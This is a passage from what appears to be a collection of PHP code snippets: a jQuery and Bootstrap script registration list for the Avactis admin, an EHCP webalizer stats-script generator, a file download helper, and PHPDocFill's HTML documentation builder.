);\n\t$scripts->add( 'jquery-effects-fold', 'includes/jquery/ui/jquery.ui.effect-fold.min.js', array('jquery-effects-core'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-effects-highlight', 'includes/jquery/ui/jquery.ui.effect-highlight.min.js', array('jquery-effects-core'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-effects-pulsate', 'includes/jquery/ui/jquery.ui.effect-pulsate.min.js', array('jquery-effects-core'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-effects-scale', 'includes/jquery/ui/jquery.ui.effect-scale.min.js', array('jquery-effects-core'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-effects-shake', 'includes/jquery/ui/jquery.ui.effect-shake.min.js', array('jquery-effects-core'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-effects-slide', 'includes/jquery/ui/jquery.ui.effect-slide.min.js', array('jquery-effects-core'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-effects-transfer', 'includes/jquery/ui/jquery.ui.effect-transfer.min.js', array('jquery-effects-core'), '1.10.4', 1 );\n\n\t$scripts->add( 'jquery-ui-accordion', 'includes/jquery/ui/jquery.ui.accordion.min.js', array('jquery-ui-core', 'jquery-ui-widget'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-ui-autocomplete', 'includes/jquery/ui/jquery.ui.autocomplete.min.js', array('jquery-ui-core', 'jquery-ui-widget', 'jquery-ui-position', 'jquery-ui-menu'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-ui-button', 'includes/jquery/ui/jquery.ui.button.min.js', array('jquery-ui-core', 'jquery-ui-widget'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-ui-datepicker', 'includes/jquery/ui/jquery.ui.datepicker.min.js', array('jquery-ui-core'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-ui-dialog', 'includes/jquery/ui/jquery.ui.dialog.min.js', array('jquery-ui-resizable', 'jquery-ui-draggable', 'jquery-ui-button', 'jquery-ui-position'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-ui-draggable', 'includes/jquery/ui/jquery.ui.draggable.min.js', array('jquery-ui-core', 'jquery-ui-mouse'), '1.10.4');\n\t$scripts->add( 'jquery-ui-droppable', 'includes/jquery/ui/jquery.ui.droppable.min.js', array('jquery-ui-draggable'), '1.10.4');\n\t$scripts->add( 'jquery-ui-menu', 'includes/jquery/ui/jquery.ui.menu.min.js', array( 'jquery-ui-core', 'jquery-ui-widget', 'jquery-ui-position' ), '1.10.4', 1 );\n\t$scripts->add( 'jquery-ui-mouse', 'includes/jquery/ui/jquery.ui.mouse.min.js', array('jquery-ui-widget'), '1.10.4');\n\t$scripts->add( 'jquery-ui-position', 'includes/jquery/ui/jquery.ui.position.min.js', array('jquery'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-ui-progressbar', 'includes/jquery/ui/jquery.ui.progressbar.min.js', array('jquery-ui-widget'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-ui-resizable', 'includes/jquery/ui/jquery.ui.resizable.min.js', array('jquery-ui-core', 'jquery-ui-mouse'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-ui-selectable', 'includes/jquery/ui/jquery.ui.selectable.min.js', array('jquery-ui-core', 'jquery-ui-mouse'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-ui-slider', 'includes/jquery/ui/jquery.ui.slider.min.js', array('jquery-ui-core', 'jquery-ui-mouse'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-ui-sortable', 'includes/jquery/ui/jquery.ui.sortable.min.js', array('jquery-ui-core', 'jquery-ui-mouse'), '1.10.4');\n\t$scripts->add( 'jquery-ui-spinner', 'includes/jquery/ui/jquery.ui.spinner.min.js', array( 'jquery-ui-core', 'jquery-ui-widget', 'jquery-ui-button' ), '1.10.4', 1 );\n\t$scripts->add( 'jquery-ui-tabs', 'includes/jquery/ui/jquery.ui.tabs.min.js', array('jquery-ui-core', 'jquery-ui-widget'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-ui-tooltip', 'includes/jquery/ui/jquery.ui.tooltip.min.js', array( 'jquery-ui-core', 'jquery-ui-widget', 'jquery-ui-position' ), '1.10.4', 1 );\n\t$scripts->add( 'jquery-ui-widget', 'includes/jquery/ui/jquery.ui.widget.min.js', array('jquery'), '1.10.4');\n\n\t// deprecated, not used in core, most functionality is included in jQuery 1.3\n\t$scripts->add( 'jquery-form', \"includes/jquery/jquery.form$suffix.js\", array('jquery'), '3.37.0', 1 );\n\n\t// jQuery plugins\n\t$scripts->add( 'jquery-color', \"includes/jquery/jquery.color.min.js\", array('jquery'), '2.1.1', 1 );\n\t$scripts->add( 'suggest', \"includes/jquery/suggest$suffix.js\", array('jquery'), '1.1-20110113', 1 );\n\t$scripts->add( 'schedule', 'includes/jquery/jquery.schedule.js', array('jquery'), '20m', 1 );\n\t$scripts->add( 'jquery-query', \"includes/jquery/jquery.query.js\", array('jquery'), '2.1.7', 1 );\n\t$scripts->add( 'jquery-serialize-object', \"includes/jquery/jquery.serialize-object.js\", array('jquery'), '0.2', 1 );\n\t$scripts->add( 'jquery-hotkeys', \"includes/jquery/jquery.hotkeys$suffix.js\", array('jquery'), '0.0.2m', 1 );\n\t$scripts->add( 'jquery-table-hotkeys', \"includes/jquery/jquery.table-hotkeys$suffix.js\", array('jquery', 'jquery-hotkeys'), false, 1 );\n\t$scripts->add( 'jquery-touch-punch', \"includes/jquery/jquery.ui.touch-punch.js\", array('jquery-ui-widget', 'jquery-ui-mouse'), '0.2.2', 1 );\n\n/*\t$scripts->add( 'thickbox', \"/wp-includes/js/thickbox/thickbox.js\", array('jquery'), '3.1-20121105', 1 );\n\tdid_action( 'init' ) && $scripts->localize( 'thickbox', 'thickboxL10n', array(\n\t\t\t'next' => __('Next &gt;'),\n\t\t\t'prev' => __('&lt; Prev'),\n\t\t\t'image' => __('Image'),\n\t\t\t'of' => __('of'),\n\t\t\t'close' => __('Close'),\n\t\t\t'noiframes' => __('This feature requires inline frames. You have iframes disabled or your browser does not support them.'),\n\t\t\t'loadingAnimation' => includes_url('js/thickbox/loadingAnimation.gif'),\n\t) );*/\n\n\t// common bits for both uploaders\n\t$max_upload_size = ( (int) ( $max_up = @ini_get('upload_max_filesize') ) < (int) ( $max_post = @ini_get('post_max_size') ) ) ? $max_up : $max_post;\n\n\tif ( empty($max_upload_size) )\n\t\t$max_upload_size = __('not configured');\n/*\n\t// error message for both plupload and swfupload\n\t$uploader_l10n = array(\n\t\t'queue_limit_exceeded' => __('You have attempted to queue too many files.'),\n\t\t'file_exceeds_size_limit' => __('%s exceeds the maximum upload size for this site.'),\n\t\t'zero_byte_file' => __('This file is empty. Please try another.'),\n\t\t'invalid_filetype' => __('This file type is not allowed. Please try another.'),\n\t\t'not_an_image' => __('This file is not an image. Please try another.'),\n\t\t'image_memory_exceeded' => __('Memory exceeded. Please try another smaller file.'),\n\t\t'image_dimensions_exceeded' => __('This is larger than the maximum size. Please try another.'),\n\t\t'default_error' => __('An error occurred in the upload. Please try again later.'),\n\t\t'missing_upload_url' => __('There was a configuration error. Please contact the server administrator.'),\n\t\t'upload_limit_exceeded' => __('You may only upload 1 file.'),\n\t\t'http_error' => __('HTTP error.'),\n\t\t'upload_failed' => __('Upload failed.'),\n\t\t'big_upload_failed' => __('Please try uploading this file with the %1$sbrowser uploader%2$s.'),\n\t\t'big_upload_queued' => __('%s exceeds the maximum upload size for the multi-file uploader when used in your browser.'),\n\t\t'io_error' => __('IO error.'),\n\t\t'security_error' => __('Security error.'),\n\t\t'file_cancelled' => __('File canceled.'),\n\t\t'upload_stopped' => __('Upload stopped.'),\n\t\t'dismiss' => __('Dismiss'),\n\t\t'crunching' => __('Crunching&hellip;'),\n\t\t'deleted' => __('moved to the trash.'),\n\t\t'error_uploading' => __('&#8220;%s&#8221; has failed to upload.')\n\t);\n*/\n\n/**\n\tAvactis additional js\n*/\n\t\t$scripts->add( 'bootstrap', 'includes/bootstrap/js/bootstrap.min.js', array( 'jquery' ), '3.2.0');\n\t\t$scripts->add( 'bootstrap-switch', 'includes/bootstrap-switch/js/bootstrap-switch.min.js', array( 'bootstrap' ), false);\n\t\t$scripts->add( 'bootstrap-hover-dropdown', 'includes/bootstrap-hover-dropdown/bootstrap-hover-dropdown.min.js', array( 'bootstrap' ), false);\n\t\t$scripts->add( 'jquery-ui-custom', 'includes/jquery-ui/jquery-ui-1.10.3.custom.min.js', array( 'jquery' ), '1.10.3');\n\t\t$scripts->add( 'jquery-slimscroll', 'includes/jquery-slimscroll/jquery.slimscroll.min.js', array( 'jquery' ), false);\n\t\t$scripts->add( 'jquery-blockui', 'includes/jquery/jquery.blockui.min.js', array( 'jquery' ), false);\n\t\t$scripts->add( 'jquery-cokie', 'includes/jquery/jquery.cokie.min.js', array( 'jquery' ), false);\n\t\t$scripts->add( 'jquery-uniform', 'includes/uniform/jquery.uniform.min.js', array( 'jquery' ), false);\n\t\t$scripts->add( 'jquery-pulsate', 'includes/jquery/jquery.pulsate.min.js', array( 'jquery' ), false);\n\n\t\t$scripts->add( 'flot', 'includes/flot/jquery.flot.min.js', array( 'jquery' ), false);\n\t\t$scripts->add( 'flot-categories', 'includes/flot/jquery.flot.categories.min.js', array( 'flot' ), false);\n\t\t$scripts->add( 'flot-resize', 'includes/flot/jquery.flot.resize.min.js', array( 'flot' ), false);\n\n\t\t$scripts->add( 'daterangepicker', 'includes/bootstrap-daterangepicker/daterangepicker.js', array( 'bootstrap' ), false);\n\t\t$scripts->add( 'moment', 'includes/bootstrap-daterangepicker/moment.min.js', array(), false);\n\t\t$scripts->add( 'bootstrap-datepicker', 'includes/bootstrap-datepicker/js/bootstrap-datepicker.js', array( 'bootstrap' ), false);\n $scripts->add( 'bootstrap-datetimepicker','includes/bootstrap-datetimepicker/js/bootstrap-datetimepicker.min.js',array( 'bootstrap' ), false);\n\t\t$scripts->add( 'bootstrap-dataTables', 'includes/datatables/plugins/bootstrap/dataTables.bootstrap.js', array( 'bootstrap' ), false);\n\t\t$scripts->add( 'bootstrap-toastr', 'includes/bootstrap-toastr/toastr.min.js', array( 'bootstrap' ), false);\n\t\t$scripts->add( 'jquery-dataTables', 'includes/datatables/media/js/jquery.dataTables.min.js', array( 'jquery' ), false);\n\t\t$scripts->add( 'dataTables', 'includes/datatable.js', array(), false);\n\t\t$scripts->add( 'bootbox', 'includes/bootbox/bootbox.min.js', array(), false);\n\n\t\t$scripts->add( 'fullcalendar', 'includes/fullcalendar/fullcalendar.min.js', array( 'jquery-ui-resizable', 'jquery-ui-draggable' ), false);\n\t\t$scripts->add( 'jquery-easypiechart', 'includes/jquery-easypiechart/jquery.easypiechart.min.js', array( 'jquery' ), false);\n\t\t$scripts->add( 'jquery-sparkline', 'includes/jquery/jquery.sparkline.min.js', array( 'jquery' ), false);\n\t\t$scripts->add( 'jquery-gritter', 'includes/gritter/js/jquery.gritter.min.js', array( 'jquery' ), false);\n\t\t$scripts->add( 'jquery-colorbox', 'includes/colorbox/jquery.colorbox-min.js', array( 'jquery' ), false);\n\t\t$scripts->add( 'asc-admin', 'includes/asc-admin.js', array(), false);\n $scripts->add( 'component-pickers', 'includes/components-pickers.js', array(), false);\n\n\t\t$scripts->add( 'ie9-excanvas', 'includes/excanvas.min.js', array(), false);\n\t\t$scripts->add( 'ie9-respond', 'includes/respond.min.js', array(), false);\n\n\t\t$scripts->add( 'jquery.validate', 'includes/jquery-validation/jquery.validate.min.js', array('jquery'), false);\n\t\t$scripts->add( 'validate-additional-methods', 'includes/jquery-validation/additional-methods.min.js', array('jquery'), false);\n\t\t$scripts->add( 'jquery-bootstrap-wizard', 'includes/bootstrap-wizard/jquery.bootstrap.wizard.min.js', array('jquery'), false);\n\t\t$scripts->add( 'jquery-backstretch', 'includes/backstretch/jquery.backstretch.min.js', array('jquery'), false);\n\t\t$scripts->add( 'select2', 'includes/select2/select2.min.js', array(), false);\n\n\t\t$scripts->add( 'jquery-iframe-transport', 'avactis-system/admin/js/jquery.iframe-transport.js', array(), false);\n\t\t$scripts->add( 'sanitize_tags', 'avactis-system/admin/js/sanitize_tags.js', array(), false);\n\t\t$scripts->add( 'admin-index', 'avactis-system/admin/js/index.js', array(), false);\n\t\t$scripts->add( 'admin-tasks', 'avactis-system/admin/js/tasks.js', array(), false);\n\t\t$scripts->add( 'admin-layout', 'avactis-system/admin/js/layout.js', array(), false);\n\t\t$scripts->add( 'form-wizard', 'avactis-system/admin/js/form-wizard.js', array('jquery'), false);\n\t\t$scripts->add( 'admin-login-soft', 'avactis-system/admin/js/login-soft.js', array(), false);\n\n\t\t$scripts->add( 'admin-avactis-main', 'avactis-system/admin/js/main.js', array(), false);\n\t\t$scripts->add( 'admin-avactis-md5', 'avactis-system/admin/templates/modules/users/md5.js', array(), false);\n\t\t$scripts->add( 'admin-avactis-dtree', 'avactis-system/admin/dtree/dtree.js', array(), false);\n\t\t$scripts->add( 'admin-avactis-validate', 'avactis-system/admin/js/validate.js', array(), false);\n\t\t$scripts->add( 'admin-avactis-new-window', 'avactis-system/admin/js/new_window.js', array(), false);\n\t\t$scripts->add( 'admin-avactis-countries-states', 'avactis-system/admin/js/countries_states.js', array(), false);\n\t\t$scripts->add( 'admin-avactis-tree-css', 'avactis-system/admin/jstree/css.js', array(), false);\n\t\t$scripts->add( 'admin-avactis-tree-component', 'avactis-system/admin/jstree/tree_component.js', array(), false);\n\t\t$scripts->add( 'admin-avactis-categories', 'avactis-system/admin/js/categories.js', array(), false);\n\t\t$scripts->add( 'admin-avactis-utility', 'avactis-system/admin/js/utility.js', array(), false);\n $scripts->add( 'admin-toastr-notification', 'avactis-system/admin/js/toastr-notification.js', array(), false);\n\t}", "function updateWebstats(){\n\t\tglobal $skipUpdateWebstats;\n\t\tif($skipUpdateWebstats or $this->miscconfig['enablewebstats']=='') {\n\t\t\t# if you put webstats.sh in crontab\n\t\t\techo \"\\nSkipping \".__FUNCTION__.\" because of config directive (\\$skipUpdateWebstats) or enablewebstats is not checked in options.\\n\";\n\t\t\treturn false;\n\t\t}\n\n\t\t$this->requireCommandLine(__FUNCTION__);\n\t\t$res=$this->query(\"select domainname,homedir from domains where status='$this->status_active' and homedir<>''\");\n\t\t$str='';\n\t\tforeach($res as $dom){\n\t\t\tif ($this->miscconfig['enablecommonwebstats']=='') {\n\t\t\t\tpassthru2(\"mkdir -p \".$dom['homedir'].\"/httpdocs/webstats/\");\n\t\t\t\t$str.=\"webalizer -q -p -n www.\".$dom['domainname'].\" -o \".$dom['homedir'].\"/httpdocs/webstats \".$dom['homedir'].\"/logs/access_log -R 100 TopReferrers -r \".$dom['domainname'].\" HideReferrer \\n\";\n\t\t\t}else {\n\t\t\t\tpassthru2(\"mkdir -p \" .$this->miscconfig[\"commonwebstatsdir\"] .\"/\".$dom['domainname']);\n\t\t\t\t$str.=\"webalizer -q -p -n www.\".$dom['domainname']\n\t\t\t\t\t. \" -o \"\n\t\t\t\t\t. $this->miscconfig['commonwebstatsdir']\n\t\t\t\t\t. \"/\"\n\t\t\t\t\t. $dom['domainname']\n\t\t\t\t\t. \" \"\n\t\t\t\t\t. $dom['homedir']\n\t\t\t\t\t. \"/logs/access_log -R 100 TopReferrers -r \"\n\t\t\t\t\t. $dom['domainname'].\" HideReferrer \\n\";\n\n\t\t\t}\n\n\n\t\t}\n\t\techo $str;\n\n\t\twriteoutput2(\"/etc/ehcp/webstats.sh\",$str,\"w\");\n\t\tpassthru2(\"chmod a+x /etc/ehcp/webstats.sh\");\n\t#\tpassthru2(\"/etc/ehcp/webstats.sh\");\n\t\techo \"\\nwrite webstats file to /etc/ehcp/webstats.sh complete... need to put this in crontab or run automatically.. \\n\";\n\n\t}", "function download_suket_017()\n\t{\n\t\tforce_download('assets/uploads/warga/suket_017/template_surat_keterangan_ahli_waris.docx', NULL);\n\t}", "static function AJAX_Manual() {\n\t\t\n\t\t// OK, what do we do?\n\t\t// 1. scan files\n\t\t$list = RecursiveScanDir(__DIR__);\n\t\tusort($list,\"strnatcasecmp\");\n\t\t\n\t\t// 2. for each file, we'll gather the insides\n\t\t$allblocks = array();\n\t\t$files = array();\n\t\t$bid = 0;\n\t\tforeach($list as $file) {\n\t\t\t$source = @file_get_contents($file);\n\t\t\tif (!$source) continue;\n\t\t\t$fileblocks = DocBlock::ParseCode($source);\n\t\t\tif ($fileblocks === null) continue;\n\t\t\tforeach($fileblocks as $block) {\n\t\t\t\t$bid++;\n\t\t\t\t$block->filename = $file;\n\t\t\t\t$block->id = $bid;\n\t\t\t\t$blockkey = $block->GetName().\" [{$block->filename}] {$block->line}\"; // a unique identifier to sort the classes\n\t\t\t\t$allblocks[$block->GetClass()][$blockkey] = $block;\n\t\t\t\t$files[$file][] = $block;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// 3. generate list of files output\n\t\tif ($_POST['Dpage']) {\n\t\t\t$fileout = \"<div id='files'>\";\n\t\t\tforeach($files as $filename=>$blocks) {\t\t\t\n\t\t\t\t// Find page docblock\n\t\t\t\t$pagecomment = \"\";\n\t\t\t\tforeach($blocks as $block) \n\t\t\t\t\tif ($block->type == BLOCK_PAGE) \n\t\t\t\t\t\t$pagecomment = nl2br(str_replace(\"\\n\\n\",\"\\n\",trim($block->shortDescription.\"\\n\".$block->longDescription.\"\\n<i>\".$block->tags.\"</i>\")));\n\t\t\t\t$pagecomment = !isUtf8($pagecomment) ? utf8_encode($pagecomment) : $pagecomment;\n\t\t\t\t$elements = array(); \n\t\t\t\t\n\t\t\t\t// Prepare list of contained elements\n\t\t\t\tforeach($blocks as $block) {\n\t\t\t\t\t$class = $block->GetClass();\n\t\t\t\t\t$name = $block->GetName();\n\t\t\t\t\t$bid = $block->id;\n\t\t\t\t\t$documented = $block->valid ? \"\" : \"Undocumented\";\n\t\t\t\t\tif ($name)\n\t\t\t\t\t\t$elements[$class][] = \"<a href='#$class$bid' title='$documented' class='$documented'><span class='objname'>$name</span></a>\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Prepare for output\n\t\t\t\t$elementsout = \"\";\n\t\t\t\tforeach($elements as $class=>$blocks) {\n\t\t\t\t\t$elementsout .= \"<span class='$class bold'>$class</span>\".implode(\", \", $blocks).\"<br />\";\n\t\t\t\t}\n\t\t\t\t$pagecomment = $pagecomment ? \"<div class='pagecomment'>$pagecomment</div>\" : \"\";\n\t\t\t\t$id = dechex(crc32($filename));\n\t\t\t\t$fileout .= \"\n\t\t\t\t\t<div class='file'>\n\t\t\t\t\t\t<a name='file$id'><div class='filename'>$filename</div>\n\t\t\t\t\t\t$pagecomment\n\t\t\t\t\t\t<div class='contains'>$elementsout</div>\n\t\t\t\t\t</div>\n\t\t\t\t\";\n\t\t\t}\n\t\t\t$fileout .= \"</div>\";\n\t\t\t$countfiles = count($files);\n\t\t\t$tabfile = \"<li><a href='#files'>Files ($countfiles)</a></li>\";\n\t\t}\n\t\t\n\t\t// 4. Generate list of classes\n\t\tif ($_POST['Dclas']) {\n\t\t\t$classout = \"<div id='classes'>\";\n\t\t\tif (!is_array($allblocks['class'])) $allblocks['class'] = array();\n\t\t\tuksort($allblocks['class'], \"strnatcasecmp\" );\n\t\t\tforeach($allblocks['class'] as $block) {\n\t\t\t\t// Prepare docs\n\t\t\t\t$pagecomment = $block->OutputComment();\n\t\t\t\t\n\t\t\t\t// Prepare information\n\t\t\t\t$bid = $block->id;\n\t\t\t\t$name = $block->GetName();\n\t\t\t\t$classname = $block->GetClass();\n\t\t\t\t$fid = dechex(crc32($block->filename));\n\t\t\t\t$filename = $block->filename;\n\t\t\t\t$line = $block->line;\n\t\t\t\t\n\t\t\t\t// Prepare for output\n\t\t\t\t$classout .= \"\n\t\t\t\t\t<div class='file'>\n\t\t\t\t\t\t<a name='$classname$bid'></a><div class='classname'>$name</div>\n\t\t\t\t\t\tFrom: <a href='#file$fid'>$filename</a> (line $line)<br />\n\t\t\t\t\t\t<pre>$pagecomment</pre>\n\t\t\t\t\t</div>\n\t\t\t\t\";\t\t\t\n\t\t\t}\n\t\t\t$classout .= \"</div>\";\n\t\t\t$countclasses = count($allblocks['class']);\n\t\t\t$tabclasses = \"<li><a href='#classes'>Classes ($countclasses)</a></li>\";\n\t\t}\n\t\t\n\t\t// 5. Generate list of functions\n\t\tif ($_POST['Dfunc']) {\n\t\t\t$fnout = \"<div id='functions'>\";\n\t\t\tif (!is_array($allblocks['function'])) $allblocks['function'] = array();\n\t\t\tuksort($allblocks['function'], \"strnatcasecmp\" );\n\t\t\tforeach($allblocks['function'] as $block) {\n\t\t\t\t// Prepare docs\n\t\t\t\t$pagecomment = $block->OutputComment();\n\t\t\t\t\n\t\t\t\t// Prepare information\n\t\t\t\t$bid = $block->id;\n\t\t\t\t$name = $block->GetName();\n\t\t\t\t$classname = $block->GetClass();\n\t\t\t\t$fid = dechex(crc32($block->filename));\n\t\t\t\t$filename = $block->filename;\n\t\t\t\t$code = $block->associatedHlCode;\n\t\t\t\t$line = $block->line;\n\t\t\t\t\n\t\t\t\t// Prepare for output\n\t\t\t\t$fnout .= \"\n\t\t\t\t\t<div class='file'>\n\t\t\t\t\t\t<a name='$classname$bid'></a><div class='fnname'>$name</div>\n\t\t\t\t\t\tFrom: <a href='#file$fid'>$filename</a> (line $line)<br />\n\t\t\t\t\t\tContext: $code<br />\n\t\t\t\t\t\t<pre>$pagecomment</pre>\n\t\t\t\t\t</div>\n\t\t\t\t\";\n\t\t\t}\n\t\t\t$fnout .= \"</div>\";\n\t\t\t$countfunctions = count($allblocks['function']);\n\t\t\t$tabfunctions = \"<li><a href='#functions'>Functions ($countfunctions)</a></li>\";\n\t\t}\n\t\t\n\t\t// 6. Generate list of interfaces\n\t\tif ($_POST['Dinte']) {\n\t\t\t$intout = \"<div id='interfaces'>\";\n\t\t\tif (!is_array($allblocks['interface'])) $allblocks['interface'] = array();\n\t\t\tuksort($allblocks['interface'], \"strnatcasecmp\" );\n\t\t\tforeach($allblocks['interface'] as $block) {\n\t\t\t\t// Prepare docs\n\t\t\t\t$pagecomment = $block->OutputComment();\n\t\t\t\t\n\t\t\t\t// Prepare information\n\t\t\t\t$bid = $block->id;\n\t\t\t\t$name = $block->GetName();\n\t\t\t\t$classname = $block->GetClass();\n\t\t\t\t$fid = dechex(crc32($block->filename));\n\t\t\t\t$filename = $block->filename;\n\t\t\t\t$line = $block->line;\n\t\t\t\t\n\t\t\t\t// Prepare for output\n\t\t\t\t$intout .= \"\n\t\t\t\t\t<div class='file'>\n\t\t\t\t\t\t<a name='$classname$bid'></a><div class='intname'>$name</div>\n\t\t\t\t\t\tFrom: <a href='#file$fid'>$filename</a> (line $line)<br />\n\t\t\t\t\t\t<pre>$pagecomment</pre>\n\t\t\t\t\t</div>\n\t\t\t\t\";\n\t\t\t}\n\t\t\t$intout .= \"</div>\";\n\t\t\t$countint = count($allblocks['interface']);\n\t\t\t$tabint = \"<li><a href='#interfaces'>Interfaces ($countint)</a></li>\";\n\t\t}\n\t\t\n\t\t// 7. Generate list of constants\n\t\tif ($_POST['Dcons']) {\n\t\t\t$defout = \"<div id='define'>\";\n\t\t\tif (!is_array($allblocks['define'])) $allblocks['define'] = array();\n\t\t\tuksort($allblocks['define'], \"strnatcasecmp\" );\n\t\t\tforeach($allblocks['define'] as $block) {\n\t\t\t\t// Prepare docs\n\t\t\t\t$pagecomment = $block->OutputComment();\n\t\t\t\t\n\t\t\t\t// Prepare information\n\t\t\t\t$bid = $block->id;\n\t\t\t\t$name = $block->GetName();\n\t\t\t\t$classname = $block->GetClass();\n\t\t\t\t$fid = dechex(crc32($block->filename));\n\t\t\t\t$filename = $block->filename;\n\t\t\t\t$line = $block->line;\n\t\t\t\t$code = $block->associatedHlCode;\n\t\t\t\t\n\t\t\t\t// Prepare for output\n\t\t\t\t$defout .= \"\n\t\t\t\t\t<div class='file'>\n\t\t\t\t\t\t<a name='$classname$bid'></a><div class='defname'>$name</div>\n\t\t\t\t\t\tFrom: <a href='#$classname$fid'>$filename</a> (line $line)<br />\n\t\t\t\t\t\tContext: $code<br />\n\t\t\t\t\t\t<pre>$pagecomment</pre>\n\t\t\t\t\t</div>\n\t\t\t\t\";\n\t\t\t}\n\t\t\t$defout .= \"</div>\";\n\t\t\t$countdef = count($allblocks['define']);\n\t\t\t$tabdef = \"<li><a href='#define'>Constants ($countdef)</a></li>\";\n\t\t}\n\t\t\n\t\t// 8. Generate list of constants\n\t\tif ($_POST['Dincl']) {\n\t\t\t$incout = \"<div id='include'>\";\n\t\t\tif (!is_array($allblocks['include'])) $allblocks['include'] = array();\n\t\t\tuksort($allblocks['include'], \"strnatcasecmp\" );\n\t\t\tforeach($allblocks['include'] as $block) {\n\t\t\t\t// Prepare docs\n\t\t\t\t$pagecomment = $block->OutputComment();\n\t\t\t\t\n\t\t\t\t// Prepare information\n\t\t\t\t$bid = $block->id;\n\t\t\t\t$name = $block->GetName();\n\t\t\t\t$classname = $block->GetClass();\n\t\t\t\t$fid = dechex(crc32($block->filename));\n\t\t\t\t$filename = $block->filename;\n\t\t\t\t$line = $block->line;\n\t\t\t\t$code = $block->associatedHlCode;\n\t\t\t\t\n\t\t\t\t// Prepare for output\n\t\t\t\t$incout .= \"\n\t\t\t\t\t<div class='file'>\n\t\t\t\t\t\t<a name='$classname$bid'></a><div class='incname'>$name</div>\n\t\t\t\t\t\tFrom: <a href='#$classname$fid'>$filename</a> (line $line)<br />\n\t\t\t\t\t\tContext: $code<br />\n\t\t\t\t\t\t<pre>$pagecomment</pre>\n\t\t\t\t\t</div>\n\t\t\t\t\";\n\t\t\t}\n\t\t\t$incout .= \"</div>\";\n\t\t\t$countinc = count($allblocks['include']);\n\t\t\t$tabinc = \"<li><a href='#include'>Includes ($countinc)</a></li>\";\n\t\t}\n\t\t\n\t\t// FINAL STEP: Prepare presentation\n\t\t$date = date(\"F j, Y, H:i\");\n\t\t$out = (\"<html>\n\t<head>\n\t\t<title>Documentation manual generated by PHPDocFill</title>\n\t\t<!-- Include jQuery & jQuery UI 鏩 -->\n\t\t<meta charset='utf-8' />\n\t\t<link rel='stylesheet' href='http://code.jquery.com/ui/1.10.3/themes/smoothness/jquery-ui.css' />\n\t\t<link rel='stylesheet' href='http://fonts.googleapis.com/css?family=Oxygen:400,700|PT+Sans+Narrow:700' />\n\t\t<script type='text/javascript' src='http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js'></script>\n\t\t<script type='text/javascript' src='http://code.jquery.com/ui/1.10.3/jquery-ui.js'></script>\n\t\t<style>\n\t\t\tbody{ margin:20px;padding:0;font-size: 12px;font-family: Oxygen, Verdana, Tahoma, Arial;color: black;background: white;}\n\t\t\t.file{ font-family: Oxygen, Verdana; margin: 15px; }\n\t\t\t.filename { font: bold 150% 'PT Sans Narrow', sans-serif; color: #666; letter-spacing: 1.4px; border-bottom: 1px solid #1365ad; }\n\t\t\t.classname { font: bold 150% 'PT Sans Narrow', sans-serif; color: #666; letter-spacing: 1.4px; border-bottom: 1px solid #ad1365; }\n\t\t\t.fnname { font: bold 150% 'PT Sans Narrow', sans-serif; color: #666; letter-spacing: 1.4px; border-bottom: 1px solid #13ad65; }\n\t\t\t.intname { font: bold 150% 'PT Sans Narrow', sans-serif; color: #666; letter-spacing: 1.4px; border-bottom: 1px solid #f4ba3e; }\n\t\t\t.defname { font: bold 150% 'PT Sans Narrow', sans-serif; color: #666; letter-spacing: 1.4px; border-bottom: 1px solid #d375e3; }\n\t\t\t.incname { font: bold 150% 'PT Sans Narrow', sans-serif; color: #666; letter-spacing: 1.4px; border-bottom: 1px solid #7c90aa; }\n\t\t\t.generated { font-size: 10px; margin: 10px; text-align: center; } \n\t\t\t.bold { font-weight: bold; }\n\t\t\t.class { display: inline-block; width: 65px; color: #1365ad; !important; }\n\t\t\t.function { display: inline-block; width: 65px; color: #1365ad !important; }\n\t\t\t.interface { display: inline-block; width: 65px; color: #1365ad !important; }\n\t\t\t.include { display: inline-block; width: 65px; color: #1365ad !important; }\n\t\t\t.define { display: inline-block; width: 65px; color: #1365ad !important; }\n\t\t\t.objname { font-weight: normal !important; }\n\t\t\th1 { font: bold 300% 'PT Sans Narrow', sans-serif; color: #666; letter-spacing: 1.4px; border-bottom: solid 2px #1365ad; height: 45px; text-transform: uppercase; margin-top: -10px; margin-bottom: 15px; }\n\t\t\ta { font-family: Oxygen, Verdana; text-decoration: none; }\n\t\t\tpre { margin: 0; }\n\t\t\t.pagecomment { margin: 2px; color:#922e2e; font-family: Courier New; }\n\t\t\t.asterisk { color: red; }\n\t\t\t.Undocumented { font-style: italic; color: #777 !important; }\n\t\t</style>\n\t</head>\n\t<body>\n\t\t<h1>My Project</h1>\n\t\t<div id='tabs'>\n\t\t\t<ul>\n\t\t\t\t$tabfile\n\t\t\t\t$tabfunctions\n\t\t\t\t$tabclasses\n\t\t\t\t$tabint\n\t\t\t\t$tabdef\n\t\t\t\t$tabinc\n\t\t\t</ul>\n\t\t\t\n\t\t\t$fileout\n\t\t\t$fnout\n\t\t\t$classout\n\t\t\t$intout\n\t\t\t$defout\n\t\t\t$incout\n\t\t</div>\n\t\t\n\t\t<div class='generated'>\n\t\t\tGenerated by <a href='http://cnedelcu.net/phpdocfill/' style='color:black;'>PHPDocFill</a> - $date\n\t\t</div>\n\t\t\n\t\t<script>\n\t\tjQuery.fn.extend({\n\t\t scrollToMe: function () {\n\t\t\tif (jQuery(this).length < 1) return;\n\t\t var y = jQuery(this).offset().top;\n\t\t jQuery('html,body').animate({scrollTop: y}, 100);\n\t\t}});\n\t\t\n\t\tvar elementToScroll = '';\n\t\tfunction DoScrollTo() {\n\t\t\t$(elementToScroll).scrollToMe();\n\t\t}\n\t\t\n\t\t$(function() 